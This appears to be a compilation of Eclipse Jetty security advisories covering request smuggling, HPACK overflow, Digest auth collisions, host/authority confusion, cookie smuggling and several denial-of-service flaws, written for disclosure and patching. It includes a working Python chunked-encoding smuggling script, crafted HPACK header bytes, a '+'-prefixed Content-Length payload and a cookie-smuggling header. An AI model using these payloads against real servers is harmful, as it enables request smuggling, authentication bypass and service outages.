Description (as reported)
A security vulnerability has been identified in Jetty's JaspiAuthenticator.java.
The root cause is a failure to consistently clear authentication metadata stored in ThreadLocal during certain error or incomplete authentication flows. Specifically, after a GroupPrincipalCallback is persisted into the ThreadLocal, the authentication process may exit prematurely — before the ThreadLocal storage is cleared — if a mandatory CallerPrincipalCallback is missing or an exception occurs. This allows a subsequent, unprivileged user processed by the same worker thread to inherit these residual security roles, leading to Broken Access Control and Privilege Escalation.
See also attached PDF.
Impact An unauthenticated user may gain ungrated privileges from a previous request (privilege escalation).
Patches No patches yet.
Workarounds Do not use Jetty's JASPI.
Description (as reported)
Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
Technical Details
RFC 9112 Section 7.1.1 defines chunked transfer encoding: chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = ( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string: quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE
A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.
Vulnerability
Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.
Expected (RFC compliant): Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n]
Actual (jetty): Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request
Proof of Concept
python #!/usr/bin/env python3 import socket
payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )
sock = socket.socket(socket.AFINET, socket.SOCKSTREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)
response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break
sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace"))
Result: Server returns 2 HTTP responses from a single TCP connection.
Parsing Breakdown
| Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |
Impact
- Request Smuggling: Attacker injects arbitrary HTTP requests - Cache Poisoning: Smuggled responses poison shared caches - Access Control Bypass: Smuggled requests bypass frontend security - Session Hijacking: Smuggled requests can steal other users' responses
Reproduction
1. Start the minimal POC with docker 2. Run the poc script provided in same zip
Suggested Fix
Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.
Patches No patches yet.
Workarounds No workarounds yet.
HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.
Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.
The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.
The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.
In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.
Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.
swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.
swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.
Summary The DigestAuthentication.apply() method in Jetty's HTTP client uses getBytes(StandardCharsets.ISO88591) at three locations (lines 171, 179, 196) to compute Digest auth response hashes. ISO-8859-1 silently replaces any character above U+00FF (Chinese, Japanese, Cyrillic, Arabic, Emoji, etc.) with 0x3F (?), causing all such characters to produce identical hash contributions. An attacker who knows a victim's username can bypass Digest authentication by replacing all non-Latin-1 characters in the password with ? characters, since the collision password produces the same MD5-based Digest response hash as the original password.
Details Root Cause
In jetty-core/jetty-client/src/main/java/org/eclipse/jetty/client/DigestAuthentication.java, the apply() method computes the three Digest auth hashes (H(A1), H(A2), and the final response) using ISO-8859-1 character encoding:
java // Line 171 — H(A1) String hashA1 = toHexString(digester.digest(a1.getBytes(StandardCharsets.ISO88591)));
// Line 179 — H(A2) String hashA2 = toHexString(digester.digest(a2.getBytes(StandardCharsets.ISO88591)));
// Line 196 — Final response hash final String hashA3 = toHexString(digester.digest(a3.getBytes(StandardCharsets.ISO88591)));
ISO-8859-1 (Latin-1) can only encode characters in the range U+0000–U+00FF. Any character outside this range — including all CJK, Cyrillic, Arabic, Greek, Hangul, and emoji characters — is silently replaced with the byte 0x3F (?). String.getBytes(ISO88591) in Java performs this replacement without any warning or exception.
PoC Password: "我爱Java!密码123★" (7 non-Latin-1 characters)
UTF-8 encoding: 45 bytes → MD5 H(A1) = 9a4e61484f228633d5d0f95d1bbb0a99 ISO-8859-1: 31 bytes → MD5 H(A1) = d60ddc903d71913bcc3ab4a94f7fc239 Collision "??...": 31 bytes → MD5 H(A1) = d60ddc903d71913bcc3ab4a94f7fc239 ← IDENTICAL
Multi-language confirmation — all four language passwords below produce the same hash:
Chinese (密码123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Korean (비번123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Cyrillic(аб123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Greek (αβ123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 Attacker(??123) → H(A1) = db87f31e8d96cd15f9acec7eabdc4560 ← all collide!
Impact Scenario 1: Authentication Bypass (Collision Attack)
If a service using Jetty for Digest authentication has a user with a non-Latin-1 password (e.g., Chinese, Japanese, Russian), an attacker can authenticate as that user using a collision password where all non-Latin-1 characters are replaced with ?:
- Original password: 我爱Java!密码123★ - Collision password: ??Java!??123? - Both produce identical MD5 hashes under ISO-8859-1 → Authentication succeeds
This affects any password containing characters > U+00FF, which covers: - Chinese (CJK): U+4E00–U+9FFF - Japanese (Hiragana/Katakana/Kanji): U+3040–U+30FF, U+4E00+ - Korean (Hangul): U+AC00–U+D7AF - Cyrillic: U+0400–U+04FF (Russian, Ukrainian, Bulgarian, etc.) - Arabic: U+0600–U+06FF - Greek: U+0370–U+03FF - Latin Extended: U+0100–U+024F (accented European characters like ĉ, ğ, ñ when > U+00FF) - Emoji / Symbols > U+00FF
Scenario 2: Denial of Service for Non-Latin-1 Users
Most modern web applications store password hashes computed using UTF-8. When Jetty's Digest client computes a hash with ISO-8859-1, the bytes differ from what the server stored/expects. This means any user with non-ASCII (Latin-1+) characters in their password can never successfully authenticate via Digest auth — even the legitimate user. This is not just a security issue but a functional correctness bug that silently breaks authentication for most non-European-language users.
A flaw was discovered in the jetty-server, where if an exception is thrown from the SessionListener#sessionDestroyed() method, then the session ID is not invalidated in the session ID manager. On deployments with clustered sessions and multiple contexts, this could result in a session not being invalidated and a shared-computer application being left logged in. The highest threat from this vulnerability is to data confidentiality and integrity.
If a Jetty OpenIdAuthenticator uses the optional nested LoginService, and that LoginService decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated.
So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the LoginService.
Impact This impacts usages of the jetty-openid which have configured a nested LoginService and where that LoginService will is capable of rejecting previously authenticated users.
Original Report working on a custom OpenIdAuthenticator, I discovered the following: https://github.com/eclipse/jetty.project/blob/jetty-10.0.14/jetty-openid/src/main/java/org/eclipse/jetty/security/openid/OpenIdAuthenticator.java#L505 In the case where the LoginService does return that the authentication has been revoked (from the validate() call on line 463), the OpenIdAuthenticator removes the authentication from the session; however the current request still proceeds as if authenticated, since it falls through to "return authentication" on line 505. This is fixed by moving the line 505 (and associated debug log) inside the else block that ends on line 502, instead of outside it. Then the revocation case will run through to line 517 and will trigger a new OpenId authentication which I think is correct. I think this revocation can only occur if you do attach a separate LoginService to the OpenIdLoginService, but in that case the revoked authentication will still let the next request through (and possibly more than one if they are very close to simultaneous). Technically I think this is a security vulnerability, if a very minor one, so I'm sending this off-list.
Patched Versions
Fixed in Jetty Versions: 9.4.52 - fixed in PR https://github.com/eclipse/jetty.project/pull/9660 10.0.16 - fixed in PR https://github.com/eclipse/jetty.project/pull/9528 11.0.16 - fixed in PR https://github.com/eclipse/jetty.project/pull/9528 12.0.0 - not impacted (already has fix)
Workaround Upgrade your version of Jetty.
References https://github.com/eclipse/jetty.project/pull/9528 https://github.com/eclipse/jetty.project/pull/9660
An integer overflow in MetaDataBuilder.checkSize allows for HTTP/2 HPACK header values to exceed their size limit.
In MetaDataBuilder.java, the following code determines if a header name or value exceeds the size limit, and throws an exception if the limit is exceeded:
java 291 public void checkSize(int length, boolean huffman) throws SessionException 292 { 293 // Apply a huffman fudge factor 294 if (huffman) 295 length = (length 4) / 3; 296 if ((size + length) > maxSize) 297 throw new HpackException.SessionException("Header too large %d > %d", size + length, maxSize); 298 }
However, when length is very large and huffman is true, the multiplication by 4 in line 295 will overflow, and length will become negative. (size+length) will now be negative, and the check on line 296 will not be triggered.
Furthermore, MetaDataBuilder.checkSize allows for user-entered HPACK header value sizes to be negative, potentially leading to a very large buffer allocation later on when the user-entered size is multiplied by 2.
In MetaDataBuilder.java, the following code determines if a header name or value exceeds the size limit, and throws an exception if the limit is exceeded:
java public void checkSize(int length, boolean huffman) throws SessionException { // Apply a huffman fudge factor if (huffman) length = (length 4) / 3; if ((size + length) > maxSize) throw new HpackException.SessionException("Header too large %d > %d", size + length, maxSize); }
However, no exception is thrown in the case of a negative size. Later, in Huffman.decode, the user-entered length is multiplied by 2 before allocating a buffer:
java public static String decode(ByteBuffer buffer, int length) throws HpackException.CompressionException { Utf8StringBuilder utf8 = new Utf8StringBuilder(length 2); // ...
This means that if a user provides a negative length value (or, more precisely, a length value which, when multiplied by the 4/3 fudge factor, is negative), and this length value is a very large positive number when multiplied by 2, then the user can cause a very large buffer to be allocated on the server.
Exploit Scenario 1 An attacker repeatedly sends HTTP messages with the HPACK header 0x00ffffffffff02. Each time this header is decoded: + HpackDecode.decode will determine that a Huffman-coded value of length 805306494 needs to be decoded. + MetaDataBuilder.checkSize will approve this length. + Huffman.decode will allocate a 1.6 GB string array. + Huffman.decode will have a buffer overflow error, and the array will be deallocated the next time garbage collection happens. (Note: this can be delayed by appending valid huffman-coded characters to the end of the header.)
Depending on the timing of garbage collection, the number of threads, and the amount of memory available on the server, this may cause the server to run out of memory.
Exploit Scenario 2 An attacker repeatedly sends HTTP messages with the HPACK header 0x00ff8080ffff0b. Each time this header is decoded: + HpackDecode.decode will determine that a Huffman-coded value of length -1073758081 needs to be decoded + MetaDataBuilder.checkSize will approve this length + The number will be multiplied by 2 to get 2147451134, and Huffman.decode will allocate a 2.1 GB string array + Huffman.decode will have a buffer overflow error, and the array will be deallocated the next time garbage collection happens (Note that this deallocation can be delayed by adding valid Huffman-coded characters to the end of the header)
Depending on the timing of garbage collection, the number of threads, and the amount of memory available on the server, this may cause the server to run out of memory.
Impact Users of HTTP/2 can be impacted by a remote denial of service attack.
Patches Fixed in Jetty 10.0.16 and Jetty 11.0.16 Fixed in Jetty 9.4.53 Jetty 12.x is unaffected.
Workarounds No workarounds possible, only patched versions of Jetty.
References https://github.com/eclipse/jetty.project/pull/9634
Eclipse Jetty is vulnerable to a denial of service, caused by an error when handling a request containing multiple Accept headers with a large number of quality parameters. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to exhaust minutes of CPU time.
Description There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally.
Vulnerability details The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition.
Impact Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout.
Patches The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured.
Patched releases:
9.4.54 10.0.18 11.0.18 12.0.3
Impact If an HTTP/2 connection gets TCP congested, when an idle timeout occurs the HTTP/2 session is marked as closed, and then a GOAWAY frame is queued to be written. However it is not written because the connection is TCP congested. When another idle timeout period elapses, it is then supposed to hard close the connection, but it delegates to the HTTP/2 session which reports that it has already been closed so it does not attempt to hard close the connection.
This leaves the connection in ESTABLISHED state (i.e. not closed), TCP congested, and idle.
An attacker can cause many connections to end up in this state, and the server may run out of file descriptors, eventually causing the server to stop accepting new connections from valid clients.
The client may also be impacted (if the server does not read causing a TCP congestion), but the issue is more severe for servers.
Patches Patched versions: 9.4.54 10.0.20 11.0.20 12.0.6
Workarounds Disable HTTP/2 and HTTP/3 support until you can upgrade to a patched version of Jetty. HTTP/1.x is not affected.
References https://github.com/jetty/jetty.project/issues/11256.
Impact Remote DOS attack can cause out of memory
Description There exists a security vulnerability in Jetty's ThreadLimitHandler.getRemote() which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory.
Affected Versions
Jetty 12.0.0-12.0.8 (Supported) Jetty 11.0.0-11.0.23 (EOL) Jetty 10.0.0-10.0.23 (EOL) Jetty 9.3.12-9.4.55 (EOL)
Patched Versions
Jetty 12.0.9 Jetty 11.0.24 Jetty 10.0.24 Jetty 9.4.56
Workarounds
Do not use ThreadLimitHandler. Consider use of QoSHandler instead to artificially limit resource utilization.
References
Jetty 12 - https://github.com/jetty/jetty.project/pull/11723
Impact
Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response.
Workarounds
There is no workaround as there is no known exploit scenario.
Original Report
RFC 9110 Secion 8.6 defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling.
Payload:
POST / HTTP/1.1 Host: a.com Content-Length: +16 Connection: close 0123456789abcdef
When sending this payload to Jetty, it can successfully parse and identify the length.
When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request.
This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS.
Eclipse Jetty Canonical Repository is the canonical repository for the Jetty project. Users of the CgiServlet with a very specific command structure may have the wrong command executed. If a user sends a request to a org.eclipse.jetty.servlets.CGI Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. This issue was patched in version 9.4.52, 10.0.16, 11.0.16 and 12.0.0-beta2.
Impact Servlets with multipart support (e.g. annotated with @MultipartConfig) that call HttpServletRequest.getParameter() or HttpServletRequest.getParts() may cause OutOfMemoryError when the client sends a multipart request with a part that has a name but no filename and a very large content.
This happens even with the default settings of fileSizeThreshold=0 which should stream the whole part content to disk.
An attacker client may send a large multipart request and cause the server to throw OutOfMemoryError. However, the server may be able to recover after the OutOfMemoryError and continue its service -- although it may take some time.
A very large number of parts may cause the same problem.
Patches Patched in Jetty versions
9.4.51.v20230217 - via PR #9345 10.0.14 - via PR #9344 11.0.14 - via PR #9344
Workarounds Multipart parameter maxRequestSize must be set to a non-negative value, so the whole multipart content is limited (although still read into memory). Limiting multipart parameter maxFileSize won't be enough because an attacker can send a large number of parts that summed up will cause memory issues.
References https://github.com/eclipse/jetty.project/issues/9076 https://github.com/jakartaee/servlet/blob/6.0.0/spec/src/main/asciidoc/servlet-spec-body.adoc#32-file-upload
Jetty is a java based web server and servlet engine. Nonstandard cookie parsing in Jetty may allow an attacker to smuggle cookies within other cookies, or otherwise perform unintended behavior by tampering with the cookie parsing mechanism. If Jetty sees a cookie VALUE that starts with " (double quote), it will continue to read the cookie string until it sees a closing quote -- even if a semicolon is encountered. So, a cookie header such as: DISPLAYLANGUAGE="b; JSESSIONID=1337; c=d" will be parsed as one cookie, with the name DISPLAYLANGUAGE and a value of b; JSESSIONID=1337; c=d instead of 3 separate cookies. This has security implications because if, say, JSESSIONID is an HttpOnly cookie, and the DISPLAYLANGUAGE cookie value is rendered on the page, an attacker can smuggle the JSESSIONID cookie into the DISPLAYLANGUAGE cookie and thereby exfiltrate it. This is significant when an intermediary is enacting some policy based on cookies, so a smuggled cookie can bypass that policy yet still be seen by the Jetty server or its logging system. This issue has been addressed in versions 9.4.51, 10.0.14, 11.0.14, and 12.0.0.beta0 and users are advised to upgrade. There are no known workarounds for this issue.
Description Invalid HTTP/2 requests (for example, invalid URIs) are incorrectly handled by writing a blocking error response directly from the selector thread. If the client manages to exhaust the HTTP/2 flow control window, or TCP congest the connection, the selector thread will be blocked trying to write the error response. If this is repeated for all the selector threads, the server becomes unresponsive, causing the denial of service.
Impact A malicious client may render the server unresponsive.
Patches The fix is available in Jetty versions 9.4.47. 10.0.10, 11.0.10.
Workarounds No workaround available within Jetty itself. One possible workaround is to filter the requests before sending them to Jetty (for example in a proxy)
For more information If you have any questions or comments about this advisory: Email us at security@webtide.com.
A flaw was found in Eclipse Jetty. When parsing the authority segment of an HTTP scheme URI, the Jetty HttpURI class improperly detects an invalid input as a hostname. This issue can lead to failures in a Proxy scenario.
Summary
Jetty currently accepts HTTP/2 and HTTP/3 requests where the regular Host header and the pseudo-header :authority do not match. As a result, the same request can carry two different host identities through Jetty:
- logic based on HttpURI / Request.getServerName(request) uses :authority - logic based on raw request headers continues to use Host
This creates a host/authority confusion condition that can break security assumptions in higher layers.
Jetty already performs an explicit authority/Host consistency check on the HTTP/1.1 path, but equivalent validation is missing on the HTTP/2 and HTTP/3 paths.
Security Impact
This issue is not inherently remote code execution, but it can become security-relevant in deployments that rely on the request host for security-sensitive decisions, including:
- host-based access control - virtual host isolation - multi-tenant routing by hostname - login/logout/callback URL construction - reverse proxy and forwarded-header trust chains - auditing, cache keys, and absolute URL generation
Potential consequences include:
- bypass of host-based ACLs - virtual host or tenant isolation failures - incorrect or attacker-influenced redirect/callback targets - inconsistent proxy/downstream interpretation of the original target host - misleading logs and audit records
Technical Root Cause
1. On the HTTP/2 and HTTP/3 metadata builder paths:
- :authority is parsed separately into authority/URI state - Host is preserved as a normal request header - the two values are not compared for consistency
2. On the HTTP/2 and HTTP/3 server entry paths:
- Jetty calls ComplianceUtils.verify(httpCompliance, requestMetaData, listener) - this verification does not enforce MISMATCHEDAUTHORITY
3. On the HTTP/1.1 path:
- Jetty explicitly checks whether authority and Host match - mismatches are rejected by default
Relevant Code Locations
HTTP/2 metadata builder:
- jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java
HTTP/3 metadata builder:
- jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/metadata/MetaDataBuilder.java
HTTP/2 server entry:
- jetty-core/jetty-http2/jetty-http2-server/src/main/java/org/eclipse/jetty/http2/server/internal/HttpStreamOverHTTP2.java
HTTP/3 server entry:
- jetty-core/jetty-http3/jetty-http3-server/src/main/java/org/eclipse/jetty/http3/server/internal/HttpStreamOverHTTP3.java
Shared HTTP compliance verification:
- jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/ComplianceUtils.java
HTTP/1.1 authority/Host consistency check:
- jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/internal/HttpConnection.java
Defined but not enforced on H2/H3:
- jetty-core/jetty-http/src/main/java/org/eclipse/jetty/http/HttpCompliance.java - violation: MISMATCHEDAUTHORITY
Reproduction
I reproduced this on local Jetty 12.1.9-SNAPSHOT source.
Minimal reproduction steps:
1. Start a Jetty HTTP/2 or HTTP/3 test server. 2. Send a request with: - :authority = localhost:<port> - Host = evil.example:<port> 3. In the request handler, inspect both: - Request.getServerName(request) - request.getHeaders().get(HttpHeader.HOST) 4. Observe whether Jetty rejects the request or allows both values to remain visible. Observed result: - HTTP/2: request is accepted and returns 200 - HTTP/3: request is accepted and returns 200 - the server can observe both: - serverName=localhost - hostHeader=evil.example:<port>
This shows that a single attacker-controlled request can preserve two conflicting host interpretations inside Jetty.
Tests Used
HTTP/2 rejection test:
- org.eclipse.jetty.http2.tests.HTTP2Test#testRejectMismatchedHostHeaderAndAuthority
HTTP/2 exploitability test:
- org.eclipse.jetty.http2.tests.HTTP2Test#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader
HTTP/3 rejection test:
- org.eclipse.jetty.http3.tests.HandlerClientServerTest#testRejectMismatchedHostHeaderAndAuthority
HTTP/3 exploitability test:
- org.eclipse.jetty.http3.tests.HandlerClientServerTest#testMismatchedHostHeaderAndAuthoritySplitsAuthorityFromHostHeader
Observed behavior:
- both rejection tests fail because Jetty returns 200 instead of 400 - both exploitability tests pass, confirming that Jetty exposes different host values to different layers
Project-Internal Evidence of Real Impact
Examples:
- jetty-openid uses Request.getServerName(request) to construct redirect URLs - jetty-ee11-proxy uses the raw Host header when building Forwarded
This indicates that the issue is not merely theoretical: Jetty’s own ecosystem already contains code paths where different host sources are used for different purposes.
Affected Version
Confirmed affected version:
- 12.1.9-SNAPSHOT
Other versions may also be affected if they share the same HTTP/2 / HTTP/3 request construction and compliance-validation logic. I have not yet completed a historical version matrix and would recommend confirming exact affected ranges from Jetty’s branch history.
Suggested Fix
Recommend adding HTTP/2 and HTTP/3 validation equivalent to the existing HTTP/1.1 authority/Host consistency check:
- if both :authority and regular Host are present - normalize and compare them - if they do not match, reject the request with 400 Bad Request - route the failure through the existing MISMATCHEDAUTHORITY compliance mechanism
Also adding explicit HTTP/2 and HTTP/3 regression coverage for this case.
Disclosure Status
- not publicly disclosed - no public issue filed - shared only privately with the Jetty security contacts
The Jetty URI parser has some key differences compared to other common parsers when evaluating invalid or unusual URIs. Specifically:
Invalid Scheme | URI | Jetty | uri-js (nodejs) | node-url(nodejs) | |---|---|---| --- | | https>://vulndetector.com/path | scheme=http>| scheme=https | invalid URI |
Improper IPv4 mapped IPv6
| URI | Jetty | System.Uri(CSharp) | curl(C) | |---|---|---| --- | | http://[0:0:0:0:0:ffff:127.0.0.1] | invalid | host=[::ffff:127.0.0.1] | host=[::ffff:127.0.0.1] | | http://[::ffff:255.255.0.0] | invalid | host=[::ffff:255.255.0.0] | host=[::ffff:255.255.0.0] |
Incorrect IPv6 delimeter priority
| URI | Jetty | urllib3(python) | furl(python) | Spring | chromium | |---|---|---| --- |---|---| | http://[normal.com@]vulndetector.com/ | host=[normal.com@] | invalid | invalid | | | | http://normal.com[user@vulndetector].com/ | host=[noirmal.com@vulndetector | | | host=normal.com | invalid | | http://normal.com[@]vulndetector.com/ | host=normal.com[@] | | | host=normal.com | invalid |
Incorrect delimeter priority
| URI | Jetty | urllib3(python) | jersey | |---|---|---| --- | | http://normal.com/#@vulndetector.com | host=vulndetector.com | host=normal.com | host=normal.com | | http://normal.com/?@vulndetector.com | host=vulndetector.com | host=normal.com | host=normal.com |
Impact Differential parsing of URIs in systems using multiple components may result in security by-pass. For example a component that enforces a black list may interpret the URIs differently from one that generates a response. At the very least, differential parsing may divulge implementation details.
Patches Patched in Supported Open Source versions. 12.1.5 - Supported and available on Maven Central 12.0.31 - Supported and available on Maven Central 11.0.x - EOL Release, patches available on tuxcare and herodevs 10.0.x - EOL Release, patches available on tuxcare and herodevs 9.4.x - EOL Release, patches available on tuxcare and herodevs
Workarounds None
Resources
+ Java Eclipse Jetty Report Incorrect Parsing Priority of the IPv6 Hostname Delimeter.pdf + Java Eclipse Jetty Report The Parsing Priority of the Delimiter.pdf + Java Eclipse Jetty Report Parsing Difference Due to Deformed Scheme.pdf + Java Eclipse Jetty Report Improper IPv4-mapped IPv6 Parsing.pdf
Eclipse Jetty could allow a remote attacker to obtain sensitive information, caused by a flaw in the ConcatServlet. By sending a specially-crafted request using a doubly encoded path, an attacker could exploit this vulnerability to obtain sensitive information from protected resources within the WEB-INF directory, and use this information to launch further attacks against the affected system.
Impact When using SSL/TLS with Jetty, either with HTTP/1.1, HTTP/2, or WebSocket, the server may receive an invalid large (greater than 17408) TLS frame that is incorrectly handled, causing CPU resources to eventually reach 100% usage.
Workarounds
The problem can be worked around by compiling the following class: java package org.eclipse.jetty.server.ssl.fix6072;
import java.nio.ByteBuffer; import javax.net.ssl.SSLEngine; import javax.net.ssl.SSLEngineResult; import javax.net.ssl.SSLException; import javax.net.ssl.SSLHandshakeException;
import org.eclipse.jetty.io.EndPoint; import org.eclipse.jetty.io.ssl.SslConnection; import org.eclipse.jetty.server.Connector; import org.eclipse.jetty.server.SslConnectionFactory; import org.eclipse.jetty.util.BufferUtil; import org.eclipse.jetty.util.annotation.Name; import org.eclipse.jetty.util.ssl.SslContextFactory;
public class SpaceCheckingSslConnectionFactory extends SslConnectionFactory { public SpaceCheckingSslConnectionFactory(@Name("sslContextFactory") SslContextFactory factory, @Name("next") String nextProtocol) { super(factory, nextProtocol); }
@Override protected SslConnection newSslConnection(Connector connector, EndPoint endPoint, SSLEngine engine) { return new SslConnection(connector.getByteBufferPool(), connector.getExecutor(), endPoint, engine, isDirectBuffersForEncryption(), isDirectBuffersForDecryption()) { @Override protected SSLEngineResult unwrap(SSLEngine sslEngine, ByteBuffer input, ByteBuffer output) throws SSLException { SSLEngineResult results = super.unwrap(sslEngine, input, output);
if ((results.getStatus() == SSLEngineResult.Status.BUFFERUNDERFLOW || results.getStatus() == SSLEngineResult.Status.OK && results.bytesConsumed() == 0 && results.bytesProduced() == 0) && BufferUtil.space(input) == 0) { BufferUtil.clear(input); throw new SSLHandshakeException("Encrypted buffer max length exceeded"); } return results; } }; } } This class can be deployed by: + The resulting class file should be put into a jar file (eg sslfix6072.jar) + The jar file should be made available to the server. For a normal distribution this can be done by putting the file into ${jetty.base}/lib + Copy the file ${jetty.home}/modules/ssl.mod to ${jetty.base}/modules + Edit the ${jetty.base}/modules/ssl.mod file to have the following section:
[lib] lib/sslfix6072.jar
+ Copy the file ${jetty.home}/etc/jetty-https.xml and${jetty.home}/etc/jetty-http2.xml to ${jetty.base}/etc + Edit files ${jetty.base}/etc/jetty-https.xml and ${jetty.base}/etc/jetty-http2.xml, changing any reference of org.eclipse.jetty.server.SslConnectionFactory to org.eclipse.jetty.server.ssl.fix6072.SpaceCheckingSslConnectionFactory. For example: xml <Call name="addIfAbsentConnectionFactory"> <Arg> <New class="org.eclipse.jetty.server.ssl.fix6072.SpaceCheckingSslConnectionFactory"> <Arg name="next">http/1.1</Arg> <Arg name="sslContextFactory"><Ref refid="sslContextFactory"/></Arg> </New> </Arg> </Call> + Restart Jetty
Technical Details Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”
MadeYouReset Vulnerability Summary The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.
